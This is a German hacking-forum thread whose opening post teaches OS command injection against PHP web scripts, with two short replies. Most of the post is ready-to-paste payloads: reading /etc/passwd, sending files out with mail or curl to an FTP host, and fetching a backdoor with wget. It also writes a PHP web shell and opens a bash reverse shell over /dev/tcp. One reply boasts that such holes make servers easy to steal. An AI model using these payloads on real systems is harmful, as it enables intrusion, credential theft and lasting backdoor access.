Zum Inhalt wechseln

Willkommen Gast

Navigation

Links

   

Als Gast hast du nur eingeschränkten Zugriff!


Anmelden 

Benutzerkonto erstellen
Du bist nicht angemeldet und hast somit nur einen sehr eingeschränkten Zugriff auf die Features unserer Community.
Um vollen Zugriff zu erlangen musst du dir einen Account erstellen. Der Vorgang sollte nicht länger als 1 Minute dauern.
  • Antworte auf Themen oder erstelle deine eigenen.
  • Schalte dir alle Downloads mit Highspeed & ohne Wartezeit frei.
  • Erhalte Zugriff auf alle Bereiche und entdecke interessante Inhalte.
  • Tausche dich mich anderen Usern in der Shoutbox oder via PN aus.
 

Foto

OS Command Injection Tutorial

- - - - -

  • Bitte melde dich an um zu Antworten
2 Antworten in diesem Thema

#1
Zero-X

Zero-X

    FTB Experte

  • Premium Member
  • Likes
    80
  • 67 Beiträge
  • 39 Bedankt
  • Android [root]
  • Windows, Linux

*
BELIEBT

Bei der OS Command Injection handelt es sich um eine Sicherheitslücke, bei der es möglich ist, Shell-Befehle in ein Skript einzuschleusen, die dann mit den Rechten des jeweiligen Benutzers ausgeführt werden.
In PHP können solche Sicherheitslücken enstehen, wenn zum Beispiel die Funktionen system(), passthru(), exec() oder shell_exec() verwendet werden. Diese Funktionen dienen dazu, Befehle des Betriebssystems auszuführen.
Solche Funktionen finden in webbasierten Netzwerk-Tools häufig Verwendung.

Um zu verstehen wie man nun Befehle einschleust und warum das funktioniert muss man ein paar Dinge über die Unix-Shell wissen.In der Unix-Shell gibt es verschiedene Zeichen um Befehle einzeln hintereinander auszuführen, zu verketten und sogenannte Metazeichen.

Hier einige Beispiele:

Semikolon ;

Dieses Zeichen dient dazu verschiedene Befehle hintereinander auszuführen.
Gibt man nun in der Kommandozeile "ls;id" ein, wird einem das aktuelle Verzeichnis und die Benutzer-id des jeweiligen Benutzers angezeigt.

Pipe |

Mit diesem Zeichen kann man Befehle miteinander verketten.
So bekommt man mit der Eingabe "ls|mail test@provider.de" eine E-Mail der Verzeichnisinhalts an die E-Mail Adresse test@provider.de geschickt.

Metazeichen `` $()

Gesetzte Kommandos werden ausgeführt und können als Parameter an einen anderen Befehl übergeben werden.
Mit der Eingabe von "echo "Aktueller Benutzer $(id)"" wird zum Beispiel hinter den Wörtern "Aktueller Benutzer" die User-ID angezeigt.

Es gibt folgende Möglichkeiten jetzt Befehle über ein Eingabefeld oder über einen Parameter in der URL des Skripts einzuschleusen:
;cat /etc/passwd
|cat /etc/passwd
&&cat /etc/passwd
%0acat /etc/passwd

Bei diesen Beispielen wird die Datei "/etc/passwd" angezeigt.
Bei einigen Skripten kann es sein, daß hinter dem eingegebenen Wert noch ein konstanter Wert verarbeitet wird und man deshalb nicht die gewünschte Ausgabe erhält.Verarbeitet das Skript nicht "cat /etc/passwd" sondern "cat /etc/passwd.com" weil beispielweise eine Whois-Abfrage so programmiert ist, daß ausdrücklich eine Domainendung verlangt wird, erhalten wir keine Ausgabe. In diesem Fall setzt man hinter dem Befehl einfach noch ein Semikolon oder eine Pipe.

Bei Shell-Metazeichen sieht das ein wenig anders aus. Alles was zwischen des Zeichen steht, wird verarbeitet.
Hier nun einige Beispiele:
$(cat /etc/passwd)
`cat /etc/passwd`


Blind OS Command Injection:

Nur weil man keine Ausgabe erhält, heißt es noch lange nicht, daß auch kein Befehl ausgeführt wird. Die PHP-Funktion exec() erzeugt zum Beispiel keine Ausgabe. Um zu testen ob ein Skript gegen eine Blind OS Command Injection anfällig ist, kann man den Befehl "sleep" benutzen. Dieser Befehl erzeugt eine Verzögerung von einer bestimmten Anzahl an Sekunden. Gibt man jetzt "sleep 10" und das Skript braucht wesentlich länger bis es ausgeführt wurde, kann man darauf schließen eine solche Sicherheitslücke gefunden zu haben. Es gibt jetzt verschiedene Möglichkeiten diese Sicherheitslücke erfolgreich auszunutzen.

Eine Methode ist das versenden der Befehlsausgabe per E-Mail.
Dazu gibt man folgendes ein:
;ls|mail e-mail@provider.de
Mit diesem Befehl wird der Verzeichnisinhalt an eine E-Mail Adresse verschickt. Natürlich ist es möglich, jeden beliebigen anderen Befehl auf diese Weise auszuführen.

Eine andere Methode ist das Benutzen von curl:
;curl -T /etc/passwd -u user:passwort ftp://seite.de
Mit diesem Befehl wird die Datei /etc/passwd per FTP an einen anderen Server übertragen.

Noch eine Methode über wget wenn man auf dem System Schreibzugriff hat:
;wget -O backdoor.php http://seite.de/backdoor.txt
So kann man ein Skript von einem anderen Server laden das als Backdoor dienen kann.

Noch ein sehr einfaches Beispiel wenn man Schreibzugriff hat:
;echo "<? system(\$cmd); ?>">backdoor.php
So wird ein PHP-Skript erzeugt, mit dem man über den Parameter "cmd" shell Befehle sichtbar ausführen kann.

Zugriff über eine Reverse Shell mit Hilfe von Netcat (getestet auf Ubuntu 12.04):
Auf seinem eigenen Rechner gibt man ein:
nc -l -p 8888 -vvv
Auf dem verwundbaren System gibt man ein:
;/bin/bash -i > /dev/tcp/eigene_ip/8888 0<&1 2>&1
So kann man das System über eine Reverse-Shell auf Port 8888 kontrollieren.

Es gibt natürlich noch viel mehr Möglichkeiten, diese sind davon abhängig wie das System konfiguriert und welche Software installiert ist. Am besten am eigenen Rechner mal die Linux-Shell starten und schauen, was es alles gibt und einen weiterbringt.

Bearbeitet von Zero-X, 20 Dezember 2014 - 15:25 Uhr.

  • Ch!ller, White-Warti, Framerater und 9 anderen gefällt das

Thanked by 4 Members:
Seldos , michl42 , BlackMuffinHD , chimchoca7

#2
Ch!ller

Ch!ller

    Shinigami

  • Members
  • PIPPIPPIPPIPPIPPIPPIPPIPPIPPIP
  • Likes
    750
  • 829 Beiträge
  • 1034 Bedankt
  • Spender
  • verifiziert
Kann wieder nur sagen, es gefällt mir sehr gut, weiter so ;)
  • Zero-X gefällt das

vanille@exploit.im

Vanille.cc

chillers blog is coming soon!


#3
XoiL

XoiL

    Leecher

  • Banned
  • PIP
  • Likes
    1
  • 1 Beiträge
  • 13 Bedankt
  • Android [root], Blackberry
  • Linux

Mittels :-$locate oder :-$name lassen sich immer sehr gut die config Daten einer OS Injection ausgeben wie zb fuer die Datenbank oder einen acp Zugriff. Erste tests von :-$wget --help oder :-$curl help sollten ja eh Standart sein.

Verzeichnisse sollten wohl am besten mit :-$ls -l ausgegeben werden.. wir wissen alle warum ;>

 

Ich mag OS Injections ... is immer sehr einfach diese Server zu klauen.

 

Lg XoiL





  Thema Forum Themenstarter Statistik Letzter Beitrag

Besucher die dieses Thema lesen: 0

Mitglieder: 0, Gäste: 0, unsichtbare Mitglieder: 0


Dieses Thema wurde von 165 Mitglied(ern) gelesen


    , , _)_, .:dodo:., 0*ptr, 1x1, 2242, 3699n, abramas, Ac4nth, acidvirus23, alchem1st, and6578, BayernFox, Benutzer, Beschorner89, Black_TNT, Black2111, BlackMuffinHD, BlackZetsu, Botmopp, Bypass, c3fC, came5, Ch!ller, chimchoca7, CocaCoala, coketroll, connecting, core, creamfresh, Crowx88, Crunshy, Cube, cX., Cyber Tjak, cyberbitch, CyberFlash, cyberwhore, DarKdb, DarkICE, dasgasglord, deadc0de, desmond, devmonkey, dischien, done65, dorich75, dos, DR.zydz, DreamSeller, DrPepper, Dschahid, Erikson, Esox, excore, FalkE, Ferkel, Fliege*, fluffybunny, Framerater, frechdax, Giganet, GokBoruEfe, Goooofy, gtawelt, gutzuu, h4ck3rboon, hacked, Haksor, holz96, igorborisvas, Interimere, Internets, INTERSPACECOWBOY, isi, izibitzi, jabba, Jackson, jager52, johny758, kakao1, Kayeena, KeldorB, kleinkriminell, Kuraluk, L!x, Laggy, len0, lNobodyl, lolorollo, LtoG, lu21f3r, makaun, man, mantwohouse, Methyl, michl42, mindblow, Miser, most_uniQue, Mr_NiceGuy, Mr.Magoo, mrv, MrVinc, nothinginteresting, omgsrc, On3byT, Osed28, pdr0, peppi200, Ph@ntom, Phesii, pi^2, pregital, prto, pwcca, qoottaa, Qumbilo, R3s1stanc3, raider, redcore, Revofire, RudolfAntal, SavE1, Seldos, SepaX, sh!fted, sh4rk0on, Shadowgun, Siggisuper, SirDuke, Sleepy, Slixer, sm1lie, smc2014, Smokyjoe, Solution, Sputnick, SPYKEshadow, T00LStar, Take1T, Terrafaux, Th3xploiterZ, the.3nd, TheYNC, ToWFiNiT, Tron Legacy, Troy, tybor, ueEqlL, Unkiii, ValleX, White-Warti, whois, x.jh7b, Xantar, Xenio, xibit, XlUnKN0WNZlX, XoiL, xxxsmackxxx, zeemar, Zero-X, ZeroFreez
Die besten Hacking Tools zum downloaden : Released, Leaked, Cracked. Größte deutschsprachige Hacker Sammlung.